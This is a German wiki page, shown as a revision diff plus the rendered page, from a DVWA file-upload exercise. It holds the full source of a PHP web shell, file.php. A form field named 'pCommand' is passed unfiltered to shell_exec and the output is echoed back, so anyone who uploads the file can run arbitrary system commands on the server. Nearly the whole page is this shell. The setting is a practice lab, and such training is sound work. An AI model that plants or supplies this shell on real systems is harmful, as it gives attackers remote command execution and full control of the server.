DVWA File Upload Komando Ausführung: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
 
=file.php=
 
=file.php=
 
;Dieser PHP File so später Komandos ausführen
 
;Dieser PHP File so später Komandos ausführen
<pre>
+
<form action="" method="post" enctype="application/x-www-form-urlencoded">
<nowiki>
 
<form action="" method="post" enctype="application/x-www-form-urlencoded">
 
 
<table style="margin-left:auto; margin-right:auto;">
 
<table style="margin-left:auto; margin-right:auto;">
 
<tr>
 
<tr>
Zeile 22: Zeile 20:
 
</tr>
 
</tr>
 
</table>
 
</table>
</form>
+
</form>
<?php  
+
<?php  
 
if (isset($_REQUEST["pCommand"])) {
 
if (isset($_REQUEST["pCommand"])) {
 
echo "<pre>";
 
echo "<pre>";
Zeile 29: Zeile 27:
 
echo "</pre>";
 
echo "</pre>";
 
}//end if
 
}//end if
?>
+
?>
</nowiki>
 
</pre>
 

Version vom 16. Juni 2021, 18:27 Uhr

file.php

Dieser PHP File so später Komandos ausführen
<form action="" method="post" enctype="application/x-www-form-urlencoded">

Please enter system command

 
Command <input type="text" name="pCommand" size="50">
 

<input type="submit" value="Execute Command" />

</form>
<?php 

if (isset($_REQUEST["pCommand"])) {

echo "

";
		echo shell_exec($_REQUEST["pCommand"]);
		echo "

";

}//end if

?>